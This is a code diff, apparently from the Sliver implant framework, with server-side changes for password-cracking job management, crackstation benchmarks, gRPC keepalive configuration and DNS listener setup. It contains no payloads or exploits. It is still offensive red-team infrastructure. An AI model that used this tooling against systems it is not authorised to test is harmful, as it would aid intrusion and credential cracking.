ID: 0x0a0b0c0d,
|
||||
Size: 8,
|
||||
Start: 5,
|
||||
Stop: 10,
|
||||
Data: []byte("67890"),
|
||||
}
|
||||
|
||||
_, complete, err := server.accumulateInitData(first)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error on first chunk: %v", err)
|
||||
}
|
||||
if complete {
|
||||
t.Fatal("expected incomplete state after first chunk")
|
||||
}
|
||||
|
||||
_, _, err = server.accumulateInitData(second)
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -128,7 +128,7 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
|
||||
|
||||
// StartDNSListenerJob - Start a DNS listener as a job
|
||||
func StartDNSListenerJob(dnsListener *clientpb.DNSListenerReq) (*core.Job, error) {
|
||||
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries, dnsListener.EnforceOTP)
|
||||
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries)
|
||||
description := fmt.Sprintf("%s (canaries %v)", strings.Join(dnsListener.Domains, " "), dnsListener.Canaries)
|
||||
job := &core.Job{
|
||||
ID: core.NextJobID(),
|
||||
|
||||
+44
-4
@@ -52,10 +52,50 @@ func getCrackLegacyConfigPath() string {
|
||||
}
|
||||
|
||||
type crackConfigYAML struct {
|
||||
AutoFire bool `yaml:"AutoFire"`
|
||||
MaxFileSize int64 `yaml:"MaxFileSize"`
|
||||
ChunkSize int64 `yaml:"ChunkSize"`
|
||||
MaxDiskUsage int64 `yaml:"MaxDiskUsage"`
|
||||
AutoFire bool `yaml:"auto_fire"`
|
||||
MaxFileSize int64 `yaml:"max_file_size"`
|
||||
ChunkSize int64 `yaml:"chunk_size"`
|
||||
MaxDiskUsage int64 `yaml:"max_disk_usage"`
|
||||
}
|
||||
|
||||
type crackConfigYAMLCompat struct {
|
||||
AutoFire *bool `yaml:"auto_fire"`
|
||||
MaxFileSize *int64 `yaml:"max_file_size"`
|
||||
ChunkSize *int64 `yaml:"chunk_size"`
|
||||
MaxDiskUsage *int64 `yaml:"max_disk_usage"`
|
||||
|
||||
AutoFireLegacy *bool `yaml:"AutoFire"`
|
||||
MaxFileSizeLegacy *int64 `yaml:"MaxFileSize"`
|
||||
ChunkSizeLegacy *int64 `yaml:"ChunkSize"`
|
||||
MaxDiskUsageLegacy *int64 `yaml:"MaxDiskUsage"`
|
||||
}
|
||||
|
||||
func (c *crackConfigYAML) UnmarshalYAML(node *yaml.Node) error {
|
||||
var raw crackConfigYAMLCompat
|
||||
if err := node.Decode(&raw); err != nil {
|
||||
return err
|
||||
}
|
||||
if raw.AutoFire != nil {
|
||||
c.AutoFire = *raw.AutoFire
|
||||
} else if raw.AutoFireLegacy != nil {
|
||||
c.AutoFire = *raw.AutoFireLegacy
|
||||
}
|
||||
if raw.MaxFileSize != nil {
|
||||
c.MaxFileSize = *raw.MaxFileSize
|
||||
} else if raw.MaxFileSizeLegacy != nil {
|
||||
c.MaxFileSize = *raw.MaxFileSizeLegacy
|
||||
}
|
||||
if raw.ChunkSize != nil {
|
||||
c.ChunkSize = *raw.ChunkSize
|
||||
} else if raw.ChunkSizeLegacy != nil {
|
||||
c.ChunkSize = *raw.ChunkSizeLegacy
|
||||
}
|
||||
if raw.MaxDiskUsage != nil {
|
||||
c.MaxDiskUsage = *raw.MaxDiskUsage
|
||||
} else if raw.MaxDiskUsageLegacy != nil {
|
||||
c.MaxDiskUsage = *raw.MaxDiskUsageLegacy
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func crackConfigFromYAML(data []byte) (*clientpb.CrackConfig, error) {
|
||||
|
||||
@@ -17,6 +17,41 @@ func TestCrackConfigParsesYAML(t *testing.T) {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
|
||||
data := []byte(`auto_fire: false
|
||||
max_file_size: 2048
|
||||
chunk_size: 1024
|
||||
max_disk_usage: 4096
|
||||
`)
|
||||
if err := os.WriteFile(configPath, data, 0600); err != nil {
|
||||
t.Fatalf("failed to write yaml config: %v", err)
|
||||
}
|
||||
|
||||
config, err := LoadCrackConfig()
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
if config.AutoFire {
|
||||
t.Fatalf("expected AutoFire false")
|
||||
}
|
||||
if config.MaxFileSize != 2048 {
|
||||
t.Fatalf("expected MaxFileSize %d, got %d", 2048, config.MaxFileSize)
|
||||
}
|
||||
if config.ChunkSize != 1024 {
|
||||
t.Fatalf("expected ChunkSize %d, got %d", 1024, config.ChunkSize)
|
||||
}
|
||||
if config.MaxDiskUsage != 4096 {
|
||||
t.Fatalf("expected MaxDiskUsage %d, got %d", 4096, config.MaxDiskUsage)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackConfigParsesLegacyYAML(t *testing.T) {
|
||||
t.Setenv("SLIVER_ROOT_DIR", t.TempDir())
|
||||
|
||||
configPath := getCrackConfigPath()
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0700); err != nil {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
|
||||
data := []byte(`AutoFire: false
|
||||
MaxFileSize: 2048
|
||||
ChunkSize: 1024
|
||||
|
||||
@@ -30,8 +30,9 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
serverConfigFileName = "server.yaml"
|
||||
serverLegacyConfigFileName = "server.json"
|
||||
serverConfigFileName = "server.yaml"
|
||||
serverLegacyConfigFileName = "server.json"
|
||||
defaultGRPCKeepaliveMinTimeSeconds int64 = 30
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -59,6 +60,17 @@ type LogConfig struct {
|
||||
TLSKeyLogger bool `json:"tls_key_logger" yaml:"tls_key_logger"`
|
||||
}
|
||||
|
||||
// GRPCKeepaliveConfig - gRPC keepalive enforcement settings
|
||||
type GRPCKeepaliveConfig struct {
|
||||
MinTimeSeconds int64 `json:"min_time_seconds" yaml:"min_time_seconds"`
|
||||
PermitWithoutStream *bool `json:"permit_without_stream" yaml:"permit_without_stream"`
|
||||
}
|
||||
|
||||
// GRPCConfig - gRPC server settings
|
||||
type GRPCConfig struct {
|
||||
Keepalive *GRPCKeepaliveConfig `json:"keepalive" yaml:"keepalive"`
|
||||
}
|
||||
|
||||
// DaemonConfig - Configure daemon mode
|
||||
type DaemonConfig struct {
|
||||
Host string `json:"host" yaml:"host"`
|
||||
@@ -182,6 +194,7 @@ type ServerConfig struct {
|
||||
DaemonMode bool `json:"daemon_mode" yaml:"daemon_mode"`
|
||||
DaemonConfig *DaemonConfig `json:"daemon" yaml:"daemon"`
|
||||
Logs *LogConfig `json:"logs" yaml:"logs"`
|
||||
GRPC *GRPCConfig `json:"grpc" yaml:"grpc"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower" yaml:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy" yaml:"go_proxy"`
|
||||
HTTPDefaults *HttpDefaultConfig `json:"http_default" yaml:"http_default"`
|
||||
@@ -257,6 +270,20 @@ func GetServerConfig() *ServerConfig {
|
||||
}
|
||||
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
|
||||
|
||||
if config.GRPC == nil {
|
||||
config.GRPC = &GRPCConfig{}
|
||||
}
|
||||
if config.GRPC.Keepalive == nil {
|
||||
config.GRPC.Keepalive = &GRPCKeepaliveConfig{}
|
||||
}
|
||||
if config.GRPC.Keepalive.MinTimeSeconds <= 0 {
|
||||
config.GRPC.Keepalive.MinTimeSeconds = defaultGRPCKeepaliveMinTimeSeconds
|
||||
}
|
||||
if config.GRPC.Keepalive.PermitWithoutStream == nil {
|
||||
defaultPermit := true
|
||||
config.GRPC.Keepalive.PermitWithoutStream = &defaultPermit
|
||||
}
|
||||
|
||||
err := config.Save() // This updates the config with any missing fields
|
||||
if err != nil {
|
||||
serverConfigLog.Errorf("Failed to save default config %s", err)
|
||||
@@ -271,6 +298,7 @@ func GetServerConfig() *ServerConfig {
|
||||
}
|
||||
|
||||
func getDefaultServerConfig() *ServerConfig {
|
||||
defaultPermitWithoutStream := true
|
||||
return &ServerConfig{
|
||||
DaemonMode: false,
|
||||
DaemonConfig: &DaemonConfig{
|
||||
@@ -282,6 +310,12 @@ func getDefaultServerConfig() *ServerConfig {
|
||||
GRPCUnaryPayloads: false,
|
||||
GRPCStreamPayloads: false,
|
||||
},
|
||||
GRPC: &GRPCConfig{
|
||||
Keepalive: &GRPCKeepaliveConfig{
|
||||
MinTimeSeconds: defaultGRPCKeepaliveMinTimeSeconds,
|
||||
PermitWithoutStream: &defaultPermitWithoutStream,
|
||||
},
|
||||
},
|
||||
HTTPDefaults: &HttpDefaultConfig{
|
||||
Headers: []HttpDefaultHeader{
|
||||
{
|
||||
|
||||
@@ -138,15 +138,20 @@ func (c *CrackFileChunk) ToProtobuf() *clientpb.CrackFileChunk {
|
||||
// crack job contains the parent command, whose keyspace may get broken
|
||||
// up into multiple crack tasks and distributed to multiple crackstations
|
||||
type CrackJob struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
CompletedAt time.Time
|
||||
Tasks []CrackTask
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
CompletedAt time.Time
|
||||
Err string
|
||||
ResultFileID string
|
||||
Tasks []CrackTask
|
||||
|
||||
Command CrackCommand // Parent command
|
||||
}
|
||||
|
||||
func (c *CrackJob) Status() clientpb.CrackJobStatus {
|
||||
if c.Err != "" {
|
||||
return clientpb.CrackJobStatus_FAILED
|
||||
}
|
||||
if c.CompletedAt.IsZero() {
|
||||
return clientpb.CrackJobStatus_IN_PROGRESS
|
||||
}
|
||||
@@ -158,9 +163,67 @@ func (c *CrackJob) Status() clientpb.CrackJobStatus {
|
||||
return clientpb.CrackJobStatus_COMPLETED
|
||||
}
|
||||
|
||||
// BeforeCreate - GORM hook
|
||||
func (c *CrackJob) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
if c.ID == uuid.Nil {
|
||||
c.ID, err = uuid.NewV4()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if c.CreatedAt.IsZero() {
|
||||
c.CreatedAt = time.Now()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *CrackJob) ToProtobuf() *clientpb.CrackJob {
|
||||
job := &clientpb.CrackJob{
|
||||
ID: c.ID.String(),
|
||||
CreatedAt: c.CreatedAt.UTC().Format(time.RFC3339),
|
||||
Status: c.Status(),
|
||||
Err: c.Err,
|
||||
Command: c.Command.ToProtobuf(),
|
||||
ResultFileID: c.ResultFileID,
|
||||
}
|
||||
if !c.CompletedAt.IsZero() {
|
||||
job.CompletedAt = c.CompletedAt.UTC().Format(time.RFC3339)
|
||||
}
|
||||
return job
|
||||
}
|
||||
|
||||
func (CrackJob) FromProtobuf(c *clientpb.CrackJob) *CrackJob {
|
||||
job := &CrackJob{}
|
||||
if c == nil {
|
||||
return job
|
||||
}
|
||||
jobID := uuid.FromStringOrNil(c.ID)
|
||||
if jobID != uuid.Nil {
|
||||
job.ID = jobID
|
||||
}
|
||||
if c.CreatedAt != "" {
|
||||
if createdAt, err := time.Parse(time.RFC3339, c.CreatedAt); err == nil {
|
||||
job.CreatedAt = createdAt
|
||||
}
|
||||
}
|
||||
if c.CompletedAt != "" {
|
||||
if completedAt, err := time.Parse(time.RFC3339, c.CompletedAt); err == nil {
|
||||
job.CompletedAt = completedAt
|
||||
}
|
||||
}
|
||||
job.Err = c.Err
|
||||
job.ResultFileID = c.ResultFileID
|
||||
if c.Command != nil {
|
||||
job.Command = *CrackCommand{}.FromProtobuf(c.Command)
|
||||
job.Command.CrackJobID = job.ID
|
||||
}
|
||||
return job
|
||||
}
|
||||
|
||||
// CrackTask - An individual chunk of a job sent to a specific crackstation
|
||||
type CrackTask struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CrackJobID uuid.UUID `gorm:"type:uuid;"`
|
||||
CrackstationID uuid.UUID `gorm:"type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
StartedAt time.Time
|
||||
@@ -201,6 +264,7 @@ type CrackCommand struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
CrackTaskID uuid.UUID `gorm:"type:uuid;"`
|
||||
CrackJobID uuid.UUID `gorm:"type:uuid;"`
|
||||
|
||||
// FLAGS
|
||||
AttackMode int32
|
||||
|
||||
@@ -63,6 +63,7 @@ func newDBClient() *gorm.DB {
|
||||
&models.DNSCanary{},
|
||||
&models.Crackstation{},
|
||||
&models.Benchmark{},
|
||||
&models.CrackJob{},
|
||||
&models.CrackTask{},
|
||||
&models.CrackCommand{},
|
||||
&models.CrackFile{},
|
||||
|
||||
@@ -446,6 +446,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
|
||||
buildLog.Debugf("Generating new sliver binary '%s'", name)
|
||||
pbC2Implant = models.RandomizeImplantConfig(pbC2Implant, config.GOOS, config.GOARCH)
|
||||
|
||||
sliversDir := GetSliversDir() // ~/.sliver/slivers
|
||||
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
|
||||
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var (
|
||||
crackCommandRpcLog = log.NamedLogger("rpc", "crack")
|
||||
)
|
||||
|
||||
func (rpc *Server) Crack(ctx context.Context, req *clientpb.CrackCommand) (*clientpb.CrackResponse, error) {
|
||||
if req == nil {
|
||||
crackCommandRpcLog.Warn("Received empty crack command")
|
||||
return &clientpb.CrackResponse{}, nil
|
||||
}
|
||||
|
||||
crackCommandRpcLog.Infof(
|
||||
"Crack request: attack=%s hashType=%s hashes=%d status=%t",
|
||||
req.AttackMode.String(),
|
||||
req.HashType.String(),
|
||||
len(req.Hashes),
|
||||
req.Status,
|
||||
)
|
||||
|
||||
jobID, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
crackCommandRpcLog.Errorf("Failed to generate crack job ID: %s", err)
|
||||
return nil, status.Error(codes.Internal, "failed to generate crack job id")
|
||||
}
|
||||
|
||||
job := &models.CrackJob{
|
||||
ID: jobID,
|
||||
}
|
||||
command := models.CrackCommand{}.FromProtobuf(req)
|
||||
command.CrackJobID = jobID
|
||||
|
||||
if err := db.Session().Transaction(func(tx *gorm.DB) error {
|
||||
if err := tx.Create(job).Error; err != nil {
|
||||
return err
|
||||
}
|
||||
return tx.Create(command).Error
|
||||
}); err != nil {
|
||||
crackCommandRpcLog.Errorf("Failed to save crack job: %s", err)
|
||||
return nil, status.Error(codes.Internal, "failed to save crack job")
|
||||
}
|
||||
|
||||
job.Command = *command
|
||||
return &clientpb.CrackResponse{Job: job.ToProtobuf()}, nil
|
||||
}
|
||||
@@ -40,6 +40,7 @@ import (
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -112,16 +113,37 @@ func (rpc *Server) CrackstationBenchmark(ctx context.Context, req *clientpb.Crac
|
||||
crackRpcLog.Errorf("Failed to get crackstation by host UUID: %s", err)
|
||||
return nil, status.Errorf(codes.NotFound, "Failed to find crackstation by host UUID")
|
||||
}
|
||||
crackstation.Benchmarks = []models.Benchmark{}
|
||||
benchmarks := make([]models.Benchmark, 0, len(req.Benchmarks))
|
||||
for hashType, speed := range req.Benchmarks {
|
||||
crackstation.Benchmarks = append(crackstation.Benchmarks, models.Benchmark{HashType: hashType, PerSecondRate: speed})
|
||||
benchmarks = append(benchmarks, models.Benchmark{
|
||||
CrackstationID: crackstation.ID,
|
||||
HashType: hashType,
|
||||
PerSecondRate: speed,
|
||||
})
|
||||
}
|
||||
|
||||
dbSession := db.Session()
|
||||
err = dbSession.Save(&crackstation).Error
|
||||
err = dbSession.Transaction(func(tx *gorm.DB) error {
|
||||
if err := tx.Where("crackstation_id = ?", crackstation.ID).Delete(&models.Benchmark{}).Error; err != nil {
|
||||
return err
|
||||
}
|
||||
if len(benchmarks) == 0 {
|
||||
return nil
|
||||
}
|
||||
return tx.Create(&benchmarks).Error
|
||||
})
|
||||
if err != nil {
|
||||
crackRpcLog.Errorf("Failed to save crackstation benchmarks: %s", err)
|
||||
return nil, status.Errorf(codes.Internal, "Failed to save crackstation benchmarks")
|
||||
}
|
||||
|
||||
crackStation := core.GetCrackstation(req.HostUUID)
|
||||
if crackStation != nil {
|
||||
crackStation.Station.Benchmarks = map[int32]uint64{}
|
||||
for hashType, speed := range req.Benchmarks {
|
||||
crackStation.Station.Benchmarks[hashType] = speed
|
||||
}
|
||||
}
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
@@ -161,7 +183,12 @@ func (rpc *Server) CrackstationRegister(req *clientpb.Crackstation, stream rpcpb
|
||||
|
||||
if len(dbCrackstation.Benchmarks) == 0 {
|
||||
crackRpcLog.Infof("No benchmark information for '%s', requesting benchmark...", req.Name)
|
||||
err = stream.Send(&clientpb.Event{EventType: consts.CrackBenchmark, Data: []byte{}})
|
||||
taskID, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
crackRpcLog.Errorf("Failed to generate benchmark task ID: %s", err)
|
||||
return status.Error(codes.Internal, "failed to create benchmark task")
|
||||
}
|
||||
err = stream.Send(&clientpb.Event{EventType: consts.CrackBenchmark, Data: taskID.Bytes()})
|
||||
if err != nil {
|
||||
crackRpcLog.Errorf("Failed to send benchmark task to crackstation: %s", err)
|
||||
return status.Error(codes.Internal, "failed to send benchmark task")
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2020 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// ExecuteChildren - List tracked background execute child processes
|
||||
func (rpc *Server) ExecuteChildren(ctx context.Context, req *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
|
||||
resp := &sliverpb.ExecuteChildren{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package transport
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/keepalive"
|
||||
)
|
||||
|
||||
func grpcKeepaliveOptions() []grpc.ServerOption {
|
||||
if serverConfig == nil || serverConfig.GRPC == nil || serverConfig.GRPC.Keepalive == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
minTimeSeconds := serverConfig.GRPC.Keepalive.MinTimeSeconds
|
||||
if minTimeSeconds <= 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
permitWithoutStream := true
|
||||
if serverConfig.GRPC.Keepalive.PermitWithoutStream != nil {
|
||||
permitWithoutStream = *serverConfig.GRPC.Keepalive.PermitWithoutStream
|
||||
}
|
||||
|
||||
policy := keepalive.EnforcementPolicy{
|
||||
MinTime: time.Duration(minTimeSeconds) * time.Second,
|
||||
PermitWithoutStream: permitWithoutStream,
|
||||
}
|
||||
return []grpc.ServerOption{
|
||||
grpc.KeepaliveEnforcementPolicy(policy),
|
||||
}
|
||||
}
|
||||
@@ -43,6 +43,7 @@ func LocalListener() (*grpc.Server, *bufconn.Listener, error) {
|
||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||
}
|
||||
options = append(options, grpcKeepaliveOptions()...)
|
||||
options = append(options, initMiddleware(false)...)
|
||||
grpcServer := grpc.NewServer(options...)
|
||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||
|
||||
@@ -64,6 +64,7 @@ func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listen
|
||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||
}
|
||||
options = append(options, grpcKeepaliveOptions()...)
|
||||
options = append(options, initMiddleware(true)...)
|
||||
grpcServer := grpc.NewServer(options...)
|
||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||
|
||||
@@ -81,6 +81,7 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L
|
||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||
}
|
||||
options = append(options, grpcKeepaliveOptions()...)
|
||||
options = append(options, initMiddleware(true)...)
|
||||
grpcServer := grpc.NewServer(options...)
|
||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||
|
||||
Reference in new issue
Block a user